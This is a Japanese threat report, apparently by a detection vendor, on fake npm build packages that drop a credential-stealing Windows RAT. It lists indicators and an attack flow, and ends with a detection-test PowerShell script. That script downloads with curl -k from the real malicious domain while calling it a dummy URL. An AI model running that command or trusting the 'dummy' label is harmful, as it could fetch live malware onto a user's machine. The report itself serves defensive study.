Windows RAT配信の手段として偽装されたPostCSS

SOC Prime Team

フォローする

Detection stack

AIDR
Alert
ETL
Query

脅威レポート
攻撃フロー
検出
シミュレーション

概要

攻撃者は、npmパッケージの偽装を利用して、多段階Windows RATを拡散しています。悪意のあるパッケージは、 postcss-minify-selector-parser などが、開発者環境を侵害するための正当なビルドユーティリティとして提示されています。トリガーされると、感染チェーンはPowerShellダウンローダを起動し、資格情報を盗んだり、リモートシェルアクセスを提供する能力を持つNuitkaでコンパイルされたPython RATを取得します。

調査

研究者たちは、信頼性を持たせるために正当な依存関係を参照する一連の悪意のあるnpmパッケージを発見しました。調査はJavaScriptドロッパーから始まり、PowerShellダウンローダに進み、複雑なPythonベースのペイロードで終わる層状の感染チェーンをマッピングしました。Nuitkaでコンパイルされたコンポーネントを分析することにより、研究者はRATのコマンド・アンド・コントロールプロトコルとサポートされているコマンドを再構築しました。

緩和策

ユーザーは特定された悪意のあるnpmパッケージを直ちに削除し、依存関係のツリーを確認して伝播されている可能性のあるものをチェックする必要があります。組織はまた、知られているコマンド・アンド・コントロールドメインとIPアドレスをブロックするべきです。侵害が疑われる場合、開発者はブラウザに保存された資格情報やすべての開発関連トークンをすぐに変更すべきです。

対応

Windowsエンドポイントは、次のようなアーティファクトを調査すべきです。 %TEMP%winPatch, %TEMP%.store、および %TEMP%.hostです。調査官はまた、 HKCURun レジストリキーの csshost 値を調査すべきです。開発者の作業環境全体を監査し、無許可のリモートシェル活動や資格情報の盗難を示す兆候を識別します。

"graph TB %% クラス定義 classDef technique fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef persistence fill:#99ff99 %% ノード定義 attack_supply_chain["手法 – T1195.001 サプライチェーンの妥協: ソフトウェア依存関係と開発ツールの侵害 説明: postcss-minify-selector-parserのような類似パッケージでのnpmのパッケージ偽装。 対象: 開発者環境"] class attack_supply_chain technique attack_user_execution["手法 – T1204.005 ユーザー実行: 悪意のあるライブラリ 説明: 悪意のあるnpmパッケージがインポートされるとトリガーされる。 アクション: エンコードされたJavaScriptドロッパを実行する。"] class attack_user_execution technique process_powershell["手法 – T1059.001 コマンドとスクリプトのインタープリタ: PowerShell 説明: PowerShellを使用して悪意のあるスクリプトを作成および実行する。 ファイル: ../../settings.ps1"] class process_powershell technique attack_indicator_removal["手法 – T1070.010 インディケータの削除: マルウェアのリロケート 説明: ペイロードをダウンロードするために欺瞞的なドメインを使用する。 ドメイン: nvidiadriver[.]net"] class attack_indicator_removal technique tool_cmd_shell["手法 – T1059.003 コマンドとスクリプトのインタープリタ: Windowsコマンドシェル 説明: ペイロードバンドルを抽出するために使用される。 トリガー: ダウンロード後の実行。"] class tool_cmd_shell technique malware_vbs_bootstrapper["マルウェア – VBSブートストラッパー 説明: プライマリマルウェアペイロードを起動する。"] class malware_vbs_bootstrapper malware malware_rat["マルウェア – リモートアクセスツール (RAT) 説明: Nuitkaでコンパイルされたモジュールを活用するPythonベースのローダー。 機能: リモートアクセス機能を提供する。"] class malware_rat malware attack_persistence["手法 – T1547.001 ブートまたはログオンの自動開始実行: レジストリの実行キー / スタートアップフォルダ 説明: 持続性のためにレジストリ値を作成する。 レジストリ値: csshost"] class attack_persistence persistence attack_evasion["手法 – T1497.001 仮想化/サンドボックス回避: システムチェック 説明: 仮想環境を検出するためにWMIクエリを使用します。 コマンド: wmic bios get serialnumber"] class attack_evasion technique attack_c2["手法 – T1219 リモートアクセスツール 説明: 暗号化されたPOSTパケットを介してC2サーバーと通信を維持します。 C2アドレス: hxxp[:]//95[.]216[.]92[.]207:8080"] class attack_c2 technique attack_credential_access["手法 – T1555.003 パスワードストアからのクレデンシャル: ウェブブラウザからのクレデンシャル 説明: Chromeから保存された資格情報を盗みます。 対象ファイル: Login DataとLocal State"] class attack_credential_access technique %% 接続 attack_supply_chain –>|leads_to| attack_user_execution attack_user_execution –>|executes| process_powershell process_powershell –>|performs| attack_indicator_removal attack_indicator_removal –>|triggers| tool_cmd_shell tool_cmd_shell –>|launches| malware_vbs_bootstrapper malware_vbs_bootstrapper –>|installs| malware_rat malware_rat –>|establishes| attack_persistence malware_rat –>|performs| attack_evasion malware_rat –>|communicates_via| attack_c2 malware_rat –>|exfiltrates| attack_credential_access "

攻撃フロー

表示

## シミュレーション実行

前提条件: テレメトリおよびベースラインの事前飛行チェックが通過している必要があります。

根拠: このセクションは、検出ルールをトリガーするために設計された敵の手法（TTP）の正確な実行を詳細に説明します。コマンドと逸話は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診を引き起こす可能性があります。

攻撃の逸話とコマンド: 敵は、正規のソフトウェア更新プロセスとして偽装してシステムに足場を築こうとしています。これを実現するために、PowerShellを使用してネイティブの curl.exe ユーティリティを呼び出します。 -k (insecure) フラグを使用することにより、SSL証明書の検証を回避し、 $env:TEMP に winPatch.zipのようなファイル名での保存先パスを指定することで、システムの定期的な更新のノイズに紛れ込もうとしています。目的は、悪意のあるペイロードをダウンロードすることです。このペイロードは実行されるとリモートアクセスを提供します。

回帰テストスクリプト:

# 特定の検出ルールをトリガーするシミュレーションスクリプト
# ノート: これは安全上のためにダミーのURLを使用しますが、ルールに求められる正確な構造を模倣しています。

$cmd = 'curl.exe -k -o "$env:TEMPwinPatch.zip" https://nvidiadriver.net/verv1432/winpatch-xd7d.win'

Write-Host "シミュレートされた悪意のあるダウンロードコマンドを実行しています..."
Invoke-Expression $cmd

クリーンアップコマンド:

# ダウンロードされたダミーファイルをクリーンアップ
if (Test-Path "$env:TEMPwinPatch.zip") {
    Remove-Item -Path "$env:TEMPwinPatch.zip" -Force
    Write-Host "クリーンアップ成功: ダミーファイルが削除されました。"
} else {
    Write-Host "クリーンアップ: ファイルが見つかりません。"
}

SOC PrimeのDetection as Codeプラットフォームに参加し ビジネスに最も関連性のある脅威に対する可視性を向上させましょう。開始して即座に価値をもたらすためには、今すぐSOC Primeの専門家とのミーティングを予約してください。

無料で参加